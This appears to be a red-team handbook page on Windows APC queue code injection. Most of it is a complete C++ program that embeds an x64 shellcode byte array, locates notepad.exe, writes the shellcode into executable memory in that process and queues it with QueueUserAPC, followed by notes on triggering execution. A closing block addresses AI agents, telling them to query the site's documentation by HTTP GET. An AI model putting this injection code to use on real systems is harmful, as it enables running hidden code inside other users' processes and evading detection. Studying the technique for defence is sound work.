# APC Queue Code Injection

* **APC(Asynchronous Procedure Calls)**
* **APC queues can be used to execute code asynchronously**
* **We queue an APC to a thread**
* **When the application gets scheduled, our queued APCs get executed**
* **We cannot force the remote program to be scheduled**

**A program becomes alertable when it calls one of these 5 functions:**

```cpp
SleepEx()
SignalObjectAndWait()
WaitForsingleObjectsEx()
MsgWaitForMultipleObjectsEx()
WaitForMultipleObjectsEx()
```

```cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>

unsigned char shellcode[] = {
  0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00,
  0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
  0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
  0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0x0f, 0xb7, 0x4a,
  0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
  0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52,
  0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
  0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0,
  0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
  0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
  0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75,
  0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6,
  0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x3e, 0x41,
  0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e,
  0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
  0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
  0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12, 0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x48, 0x8d, 0x95, 0x1a, 0x01, 0x00, 0x00, 0x3e, 0x4c, 0x8d, 0x85, 0x35, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83, 0x56, 0x07, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6,
  0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
  0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x70, 0x65, 0x61, 0x6b, 0x61, 0x62, 0x6f,
  0x6f, 0x00
};
unsigned int pay_len = sizeof(shellcode);


DWORD FindProcessPid(const char* name)
{
	PROCESSENTRY32 pe32 = { 0 };
	pe32.dwSize = sizeof(PROCESSENTRY32);

	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // takes a snapshot of all the processes running in the system
	if (hSnapshot)
	{
		if (Process32First(hSnapshot, &pe32)) // from the snapshot of the processes, we extract the process name
		{
			do
			{
				if (strcmp(pe32.szExeFile, name) == 0) // compares the process name, with our user supplied name
				{
					return pe32.th32ProcessID; // if its the same, return the process id
				}
			} while (Process32Next(hSnapshot, &pe32));
			CloseHandle(hSnapshot);
		}
	}

	return -1; // returns negative one if the process is not found
}


HANDLE FindThread(int pid) {

	HANDLE hThread = NULL;
	THREADENTRY32 thEntry;

	thEntry.dwSize = sizeof(thEntry);
	HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

	while (Thread32Next(Snap, &thEntry)) {
		if (thEntry.th32OwnerProcessID == pid) {
			hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, thEntry.th32ThreadID);
			break;
		}
	}
	CloseHandle(Snap);

	return hThread;
}



int main(void) {
	int pid = FindProcessPid("notepad.exe");
	HANDLE hThread = FindThread(pid);
	LPVOID pRem = NULL;

	HANDLE han_proc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
		PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
		FALSE, (DWORD)pid);
	pRem = VirtualAllocEx(han_proc, NULL, pay_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(han_proc, pRem, (PVOID)shellcode, (SIZE_T)pay_len, (SIZE_T*)NULL);
	QueueUserAPC((PAPCFUNC)pRem, hThread, NULL); // this is the only different thing, we ge QUeueUserAPC copy hte payload etc, then we use QUeueUserAPC poitner to the hellcode whic hwas allocated
	CloseHandle(han_proc);

	getchar();
	return 0;
}
```

Let's compile this piece of code and run it.

You will not get your shellcode to run instantly, instead you some how have to coerce your application to be in an alertable state. Let's play around with notepad and try to get it to be alertable.

I found that trying to save a text file will cause it to become alertable and execute our shellcode

![](/files/-Mh5SUK7nu-t0sZ9IwYk)

We can also see our remotely allocated shellcode in process hacker:

![](/files/-Mh5Su2gDxAdTO3cI_TA)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/apc-queue-code-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
